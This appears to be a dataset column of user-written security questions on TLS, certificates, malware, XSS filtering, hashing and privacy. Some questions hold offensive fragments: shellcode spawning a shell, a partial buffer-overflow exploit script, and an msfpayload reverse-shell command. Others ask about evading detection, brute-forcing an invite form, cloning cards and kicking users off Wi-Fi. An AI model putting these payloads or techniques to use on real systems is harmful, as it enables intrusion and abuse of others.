instruction
stringlengths
24
27.2k
A question that arises after an updated and licensed version of Norton Internet Security has detected a trojan installed in my new laptop (Windows 7 installed on 26 Aug'15 and fully updated). Trojan location: specifically at C:\Program Files (x86)\OLBPre . With one shortcut at my desktop named "MyPC Backup" (an utility...
When installing any add on in Chrome, a set of permissions is needed to be granted to the add on. Many addons(including popular ones like Pocket and Adblock) have Read and change all the data on the site. Doesn't this mean that theoretically the addon can do anything it wants in the browser, including spying and possib...
I was wondering about differences between using OpenSSl or Keytool and generating certificates by them. I think Keytool is used by Java community but for someone who is not remotely connected to Java uses OpenSSL for generating stuff. I mean public key, private key and certificates. I assume with using OpenSSL you hav...
I rent a paid VPS hosted online and want to transform it to a sort of treasure chest where I can upload and download files privately. For this purpose I want to do this operation over the Tor network. This is done automatically when you download something with the Tor Browser Bundle but it seems impossible to do with S...
I'm looking into providing security for the email server I recently deployed, however the subject matter is a touch more complex than I anticipated and I would appreciate confirmation or correction of what I understand of the details. I understand that an SSL / TLS certificate, verified by a public CA, will enable tran...
TL;DR Given that all of the state information for a web browser is accessible to a (potentially hostile) user, how can challenge-response authentication between the browser and the server be considered secure? The Longer Version I'm developing a web application and I want to implement web sockets for communication betw...
Due to new PCI DSS standards mandating that nothing lower than TLS 1.2 be used in a PCI environment, I am tasked with phasing out anything lower than TLS 1.2 on every device in this environment by our next audit next year. Question: What would be the best method of maneuvering through the environment and seeing which d...
My shellcode instructions are changing during execution. I'm not sure why. Here is what my shellcode looks like: => 0xbffff0b3: nop 0xbffff0b4: nop 0xbffff0b5: xor eax,eax 0xbffff0b7: push eax 0xbffff0b8: push 0x68732f2f 0xbffff0bd: push 0x6e69622f 0xbffff0c2: mov ebx,esp 0xbffff...
What personal information can be obtained given only a phone number? What information is your phone number publicly (or privately, but with easy access) linked to? Here is the way I am looking at it: Your phone provider knows your name and physical address. Additionally, they may know your email address, your SSN, etc...
I have one problem, while doing NX + ASLR bypass. I'm going through this tutorial step-by-step. Everything is going well, I have prepared my exploit, just with another address and some small modifications: #!/usr/bin/python from struct import pack from os import system junk = 'A'*1036 #junk to offset to stored ret st...
Is it possible to run a security assessment on an iOS application using a non-jailbroken device? My device was recently restored (recovered - no SHSH blobs) to iOS 8.4.1 (as Apple doesn't like people using less than latest firmware versions) and as there is no public jailbreak method available to fix this (probably fo...
Some vendors appear to advertise their products as using "FIPS 140-2 compliant algorithms & ciphers". However, some of these products cannot be found on the NIST website that lists validated cryptographic modules. What does this really mean for customers who wish to use the product? Is a product's use of standardized, ...
Shortly I have intend to install new webserver and I'd like to secure users a little bit more. I already have domain, (virtual) server and everything else that matters when configuring a server. Basically this one will be used as webserver for personal storage of our family members, so we can share documents with each ...
JSON Web Tokens ( JWT ) are server-signed objects that the issuing server uses to identify a user, track session data and authorize requests. The fact that JWT are server-signed gives assurance that the token was produced by someone with access to the server's private or shared, symmetric key, but--what mechanism is in...
Suppose I have a small organization, every user has a recent Macbook Pro, can buy a ~$25 smart card reader on Amazon, and I want to use keypairs where the private keys are on personal smartcards to do email encryption and SSH authentication. It seems most of these readers are geared towards the DOD CAC or Federal PIV i...
Can some one give me a start point for finding exploits in software and reverse engineering? I need some kind of a book or a site... I have background with programming with high and low level such as assembly... I want to know how the "hackers" find all the exploits on OS's... For example I'v heard that some one found...
Many websites require JavaScript. However, enabling JS means that a website can run a JS snippet to retrieve the user's IP address (even if they are behind a proxy or VPN). So, how can I (the user) feed (spoof) the VPN IP address (which I have in a text file) to any JS that might run so that it all looks the same to th...
I was wondering if giving users choice of a method for securing their access to API would be a good idea. Background: We are creating and deploying applications for our customers, which help them do their work more efficiently. Each of our clients is running a self-contained application and we plan to create an API tha...
I'm a fresher. Very recently I started doing Java course because of the wide opportunities we get to enter into an IT industry. Now, I've got an opportunity to work for a project that's related to information security. Now I'm in dilemma whether to complete my course which would take another 2months of time or grab thi...
Is there a way for a TLS client to inform the server that it doesn't intend to resume its authenticated session(s) anymore? Example: A client established authenticated session with the server providing its certificate with clientAuth key usage, then performed all the application-level work, and now wishes to tell the ...
The way JAR signatures (or ZIP for Android) are designed is that they have a manifest file, containing digest for each file in the archive. Then there is a "signature file" that contains digest of manifest entries, and the digest of the manifest, and then a PKCS#7 signature of the signature file. So, what's the point o...
We use sha1sum to calculate SHA-1 hash value of our packages. Clarification about the usage: We distribute some software packages, and we want users to be able to check that what they downloaded is the correct package, down to the last bit. The SHA-1 cryptographic hash algorithm has been replaced by SHA-2 since SHA-1...
The documentation for session handling in ninjaFramework states: [...] Ninja uses so called client-side sessions. The cookie itself stores the information you want to attach to that session. [...] Ninja sessions are not encrypted by default. Therefore you should not store any critical information. Storing a user...
http://news.google.com Of course, if you are already logged into a Google account for that browser session, it is served encrypted. So when a user visits unencrypted Google News page, and taking into account there is a Google login button on the page, are users vulnerable to a SSLStrip MITM attack if they choose to lo...
I'm a new user of EMET. I wanted to know if there is anyway to avoid DEP on IE for a specific site. I want to do this because I use VMware remote server and when I start a remote console, EMET starts blocking iexplore (because of DEP attack) and the console doesn't work well. If I close the IE tab, EMET stops throwing ...
Issue: Yesterday I discovered a strange behaviour in the Chefkoch.de App. During the search for recipe, Firefox opens up with a (German) phishing warning screen. This happened not only on this specific recipe, but on almost every other recipe. My assumption is that it has something to do with the displayed ads. The A...
I'm doing the Windows Buffer Overflow Exploitation section of the OSCP course, and the author uses a combination of msfpayload and msfencode to generate a windows/shell_reverse_tcp payload encoded with shikata ga nai. This is the command that he uses: msfpayload windows/shell_reverse_tcp LHOST=192.168.0.2 LPORT=443 R |...
With the new release of Windows 10, Microsoft has given .NET, Javascript and C++ developers a whole new bunch of options for cryptographic algorithms. Where as the old .NET code only allowed AES and RSA, the new Windows 10 libraries allow thos algorithms: Symmetric Algorithms AesCbc AesCbcPkcs7 AesCcm AesEcb AesEcbPk...
If a CA signs a certificate with a SHA1 signature hash algorithm, does that mean a client would be unable to communicate with the server if TLS 1.0 and below is disabled? I think what I'm asking is if the identification of the server and the encryption of the communications is limited by the certificate of the server. ...
A few days ago I was driving home and suddenly Siri started to talk by herself in reply to a command I never gave. As you can imagine I have the "hey siri..." feature active, so I can make calls without moving my hands from the wheel. I was wondering... Is it possible for a radio announcer to say something like "Hey S...
I am developing a social website and want to allow user ONLY these html tags and attributes in their posts: tags: <img>, <b>, <strong>, <blockquote>, <a> attributes: 'src', 'alt', 'width', 'height', 'href', 'class' I am wondering if allowing any of them can open the door to some XSS or other exploits?
As a follow up to this question, I'm wondering what is the most secure way (using either markup or markdown) to allow users to format their inputs and upload images in a Django app? I'm not asking about detailed step by step guide, but rather the strategy that I should adopt, and possibly available apps/libraries to us...
I need to test if my website registration form can have problems with brute force attacks, because this form requires an invite code. Is there any tool for this kind of test?
If program A scans RAM, running processes and whatever, can I hide program B from being detected by A? Basically, I don't want program A to detect program B, or at least, stop it from identifying it. Is this possible or is something like changing the file name enough? I can't modify any of the files of program A, b...
One of my developers left the IP inside his code : The code is as follows : [WebMethod] public string UploadFile(byte[] f, string fileName) { try { MemoryStream ms = new MemoryStream(f); FileStream fs = new FileStream("http://103.16.141.197/ProBuildIndia/Operator/Sample/" + fileName, FileMode.Cr...
I know that TrueCrpyt stopped updating a while back and it has a warning saying that it may not be safe due to unpatched security issues. I have a version of windows with Bitlocker, but the fact that it can't make containers like TrueCrpyt could really kills it for me. I read on another thread about VeraCrypt, which I ...
I installed Ubuntu Gnome a couple of weeks ago along with a few packages and some software. When I scanned my localhost using Nmap, I got the following results. Are there any obvious vulnerabilities, and how do I fix them? > Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-09-03 12:25 IST Nmap scan report for ****...
Is it safe to keep a file containing the virus (binary?) code on your local machine without executing it? I am testing my application against malicious file uploads and and wondering if it's safe to actually upload this virus into my application and let it store in the upload folder.
I recently got a phishing mail of unusually bad quality; "Please imediatly sign in under the following link, as we are your bank, you know"-ish. The link points to an unconvincing URL with .php at the end. I was asking myself why they might use a PHP script instead of just faking the look of the given page and submitti...
Check the screenshot of my router firewall log below, I can see traffic originating from strange IP addresses to my public address. What are these? I've just setup this router few hours ago, am I being hacked or part of DoS attack?
I am concerned about the potential attack surface exposed by JavaScript typed arrays as a means of performing rowhammer attacks. Is it possible to disable (via official means or otherwise) typed arrays in firefox?
Is it possible to issue a certificate with different attributes than in certificate siging request? I have a keypair and I generated a cert. request with extra attributes. Can the CA/RA or anybody modify the request wo my keypair when it is signed?
I think I have a new denial-of-service attack on TLS, and I'd like you to check whether this is a real vulnerability. I recently learned about the proper way to drop an authenticated client session (see this question). According to RFC 5246 & RFC 5077 this is done by sending a fatal alert. But nothing is said about whe...
In the documentation for djbs library NaCl under the headline Security model you can read that the library provides public key authentication without non-repudiability (http://nacl.cr.yp.to/box.html). How is this possible when the parties have no shared symmetrical secret?
The gist of openssh deprecates dss-keys appears to be: "In light of recently discovered vulnerabilities openssh deprecates DSA keys." Does this mean I should generally consider DSA keys deprecated? The "upsteam announcement" linked to gives little more information, and I can't seem to find anything else about "recent...
My security program shows that one of my servers is vulnerable to CVE-2015-5352. If X-Server is not running (not even installed) is the system really penetrable by that vulnerability?
It's just a short question, but I haven't find a clear answer yet... It's in the frame of a TLS-ECDHE handshake. Where does the specificity of the ECDHE, over the DHE, appears ? At which point do we use the Elliptical Curves ? To compute the PreMasterKey, or also before that ?
There are many questions I have about GnuPG, but what stops me asking is knowing that I may add output to a question that I shouldn't release publicly. Is it a risk to paste in the result of gpg -K? What about gpg --edit my@email.address? Are all fingerprint outputs ok to see? Is there any other data I should exclu...
I accidentally, the other day, went to a dodgy site, and today I discovered that in my cache there lay a text file. And after reading the contents of the file, I have deduced that it is the source code for some potentially new malware which exploits a vulnerability in a security program. Now I want to submit it to my a...
The first time a user logs in to our app, we derive an AES key from their password using PBKDF2. The AES key is kept in RAM only and used to encrypt and wrap other keys and data during the session. When the current session ends, we throw away the key but keep the encrypted data and the derivation settings (salt/iterati...
I recently started using airodump-ng to monitor nearby WLAN network packets. I noticed it was picking up a WPA signal with almost perfect signal strength. I then noticed ifconfig was reporting transmissions. It seemed to me airomon and/or airodump was retransmitting everything it was receiving, as the amount of data be...
I'm curious about best practice when connecting from app to DB in a cloud provider. A quick rundown of our setup. We have 4 servers all on the same provider, in the same region running as VPS. Ngnix is the reverse proxy, load balancing to 2 Node.JS servers. The Node.js servers connect to a MongoDB server. So my questio...
I'm new to all this, I'm trying to use Hash Suite to find a password with a word + 2 numbers. I know what the word is but not the numbers but I also know the length of the passwords ... What do I have to do?
From a conceptual point of view, can authorization occurs without authentication taking place first? I'm thinking about few cases where authorization seems to occur without authentication taking place first: A web application denying access to a protected page to an unauthenticated user; A firewall denying access to h...
I want to connect with Firefox to my university campus proxy, in order to access subscribed research journals, but first I need to know, which of the transmitted data through the network are visible to campus admins. Will any of the following show up in their logs? Other browser's internet activity P2P Anythin...
I know that most hash functions today use Base64 encoding for their functions, resulting in hashes that use a-Z and 0-9, and, sometimes, other special characters. This results in 62-76ish possible values for each character, so if your hash ends up being say, 70 characters long, there are 70^62 possible combinations. Bu...
For example, with a bank's credit card activation/registration, that user is required to authenticate with a unique code that was mailed to their address. If they don't get that mailout-with-the-code, they'd be SOL. With that in mind, we'd like to do a self-registration system for a site where a potential registrant co...
If unencrypted FTP over the public internet is the only file transfer option for a particular situation, what security concerns are applicable assuming: The data being transferred is strongly encrypted by whatever / whoever is creating the files IP-restriction is in place at the firewall level so only one designated I...
Assuming a TLS connection where both the server and client perfectly adhere to the pertinent standards. Can an transparent HTTPS proxy intercept the TLS connection? (Assuming the "mock CA" certificate used by the proxy is in Trusted Root on the client) (Possibly out of scope not quite sure?) If not which (a) server an...
The OWASP Application Threat Modeling, quoting step 2 says specifically: These threats can be identified further as the roots for threat trees; there is one tree for each threat goal. what is threat tree and what it has to do with a potential threat goal in threat modeling for web applications?
I'm new to the security domain and I want to ask - Does every program leave an 'imprint' in a log of some kind, in a laptop or a PC - of whatever process it ran. If yes, can they be analysed?
Assume you use a proven hashing algorithm, like bcrypt with a work factor of 10 or PBKDF2 with 10K iterations. Normally that's really secure already and would give enough security already for most applications. But then you add an extra element of randomness to it: you generate a random number X between 5 and 15, and y...
If with the same smartphone device I surf to one website (each time with a different IP, different SIM card and no saved cookies or cache), is it possile to detect that I'm using the same device? If so, how exactly?
I have an overview ideas of the preventing ddos attacks, in a simple way. Please clarify me, if my thinking is wrong. Option 1 From the basic understanding of the DDOS attacks is that the attacker is sending a lot of data to the web server. So what about the website that offer big data uploading to their website? Are...
I want to measure if the user's data which is collected by the system is mentioned in the privacy policy. What is the best measure that I can use it in such case?
Is it possible to configure 2FA access to a Google account using only HW security key (e.g. Yubikey) without verification SMS code option ? It seems that SMS confirmation code is still primary 2FA option and it cannot be disabled or removed; but what if attacker hacks my Android phone ?
There is an apache server hosting some website written in PHP and is accessible thru internet. How do configure the apache to resolve 'Missing Cross-Frame Scripting Defence' and can 'Missing Cross-Frame Scripting Defence' warning be ignored?
To have a simple and secure editor for text fields of a django app, I have this snippet to sanitize input HTML into django code: from bs4 import BeautifulSoup def sanitize_html(value): tag_whitelist = ['img','b','strong','blockquote', 'a'] attr_whitelist = ['src', 'alt', 'width', 'height', 'href','class'] soup =...
I'm trying to deeply understand the steps during a TLS handshake. I've read this answer (which is btw pretty complete), but I still got a question about the utilization of the MasterSecret, in the frame of a ECDHE-RSA-AES-GCM-SHA TLS handshake. At the end of the handshake, we have used SHA as PRF to generate the Master...
MD5 for passwords is considered insecure due to the ability to brute force and pick up the result. But what if I change some characters of an MD5 hash and I keep a record of that change so that later I can match with that hash according to those changes? Here is the question, is it also possible to brute force on a mo...
My company would like to be ISO 27001 certified, so we have started a preliminary study and are now working on a draft ISMS scope in accordance with the standard (context of the company, interested parties, boundaries ...). Several things remains unclear to me for which I would like to get some help for a better unders...
I have two machines and a HAProxy machine doing SSL termination and accepting client certs successfully. How can I configure HAProxy to ensure that the messages coming into the API box are from HAProxy itself, and not from a third party? These machines are in the same subnet. HAProxy does not (as I can see in the sta...
I recently discovered a service where the password was not case sensitive. I understand basic principles of encryption and hashing so I am a bit worried, is this service storing my password in plain text? Could you explain to me why being able to login with Caps Lock, when my password is NOT capitalized, is bad? And sh...
I have been doing research on the available encryption algorithms used by commercial mobile providers worldwide, and would like to know if the following list is complete: Algorithms for voice encryption: A5/1: the "original" unweakened GSM encryption algorithm A5/2: the "export variant" weakened version of A5/1 A5/3: ...
I have analyzed a large PDF using Didier Steven's pdfid tool. I get the following result: Now that I know there is malicious content in the PDF, what can I do to remove it? I would still like to view the contents of the PDF. Unfortunately, I am not confident in my ability to remove all the malicious content with techn...
Recently I came across a paper titled Host-based code injection attacks: A popular technique used by malware. Another paper titled "Bee Master: Detecting Host-Based Code Injection Attacks", suggests a defense mechanism against HBCIA's. From what I understand: Virus injects their code into a victim process to execute i...
I've read many documents about API's but they don't seem to mention API's for private accounts instead of publicly accessible information. How does an API work to request private account data? How does it get the login details or session cookie? For example: The Facebook API to post to your timeline from a third party ...
I want to find out if someone has copied my personal details from my external hard disk. I don't care whether they read it, but it should not be copied to their system. So is there any method to find out if they copied it or not?
I just checked Amazon's certificate and it shows it is SHA-1 signed. But Chrome does not show any warnings, like it does (the red cross) for other websites with SHA-1 signed certificates. Am I looking at this wrong?
So I was reviewing the recent activity logs on my GMail account and came across an IPv6 address: United States (IL) (2607:fb90:1704:602f:4b7d:75c3:d50f:2fd4) I live in another state, so how can this be possible if the type was of mobile access. When I look at ARIN search I get: http://whois.arin.net/rest/net/NET6-2607...
Consider a laptop running Ubuntu 14.04 which has only Hashcat installed apart from the standard software. Is it correct to say that the attempts of brute force per second will be twice faster if I have a quad core processor instead of a duo core? Which role does the RAM play in increasing the attempts per second?
Imagine you are in a HTML page which offers you the password change service. Some websites bring the previous password in a password field, which you can't read. Is it possible to retrieve the password in field? (e.g: source code, sniffing the HTTP session?) How does HTML handle the "security" of this field?
If a person uses a SIM card that is pre-rica registered (meaning it is not registered on his name but the supplier), can you pin-point where a particular message or call was made from? For example: the person was at 2 Simon street @ 18:00 on 5 September2015 when the making the call or sending the message.
I see a lot of people say to hash for the token on email verification when dealing with member registration. I am wondering, if the email token is only to activate the account and nothing else, would the email token still need to be hashed ? Or do I need to hash the email token? My thought: Since it has no correlation...
Could a credit card cloned (chip or magnetic band) if someone has it for a few seconds and knows the PIN code? If the PIN code is changed, can the cloned card still be used?
In the process of attempting to secure my local LAN, I have determined that I am at little risk of a dictionary brute-force attack. This being said, a standard brute-force attack which involves cycling through every possible password in existence is (although not exactly subtle) a very dangerous threat. I have download...
I want to upgrade to Windows 10 (I have 7) and then probably do a clean install as well. I'm not sure because I'm really confused now. I don't know what to believe anymore. It's very important to know if I'm infected because I decided to do the clean install to get rid of whatever malware I caught and now I'm asking my...
I've recently installed NetCut (from Arkai corp.) on my PC. I've already successfully executed the app and tested it several times. I can see the MAC addresses of all network users, kick them out of the Wi-Fi, see their IP, etc. However, this afternoon, when I launched the app, as the usernames began to appear, I saw t...
I have the question below, I did question 1 and 2. I am failing to understand question 3. You have been asked to participate in developing the requirements for RFID-based identification card for students, faculty and affiliates at a university. First, list five to ten different uses of the card. Second, from that list...
I know that SSL certificates prevent DNS spoofing, but I was wondering why it is not possible after ARP cache poisoning to set up iptables rules and redirect the origin destination to fake page?
I'm at college where each student has a login ID and password for internet access through the CyberRoam web filter for blocking certain websites. My question is, when I'm browsing Facebook, YouTube, or Wikipedia through their respective mobile apps on my phone, can the CyberRoam client track what I'm viewing through th...
Is there any way a person could write a software using for example C++ to connect to a wifi completely by using code?
A friend of mine is politically active in Iran and under constant surveillance by the rigorous secret service there. There are frequent break-ins into her apartment. She finds her system often compromised in various ways. Understandably she is not comfortable using her computer for anything but the most inconspicuous t...
My iPhone was recently stolen and since then I've been receiving messages and emails saying that 'a sound was played on your iPhone' or 'your iPhone was found. Visit here to confirm your location'. The numbers and email addresses are clearly fake. I was wondering what can he/she obtain, except from my Apple ID, from me...
A slightly rhetorical question I guess, but I have been trying to get wsHttpBinding to work for my application, and although it does work perfectly if I am able to physically import the required keys onto a client machine (which is clearly not feasible for a publicly available application), trying to deploy those certi...
Would it be possible to have a javascript observatory and stricter CSP (Content Security Policy) and implement it for the Tor Browser? A javascript observatory should work similar to EFF's SSL observatory, it should observe javascript and check if it is an exploit or XSS code and block it, instead of the allow all or n...
I have been given the task of configuration audit as my first task in my first job. As a challenge I have to find vulnerabilities by reading the logs of the PuTTy session and I do not have access to the console. Please share if you have any links to read and learn about doing config reviews of IDS/IPS. Particularly, Wh...
We had a small presentation by my colleagues on 'Organized Cyber Crime' and they presented the topic with a supporting case on The Ashley Madison Hack. Well, I disputed the case presentation by saying that the hack was more of a "targeted attack" rather than an "organized crime" incident. They disputed by saying that t...
As I understand, IPSec protects packets at IP layer and SSL/TLS at transport layer? Is there a scenario in which we might want to use both?
Is it possible to get hold of an RSA private key (pem file) simply by having (root) access to a server that authorizes ssh access using that that private key. For example, can the entries in .ssh/authorized_keys be used to generated the RSA private keys for which they are associated with. The reason I ask is because I ...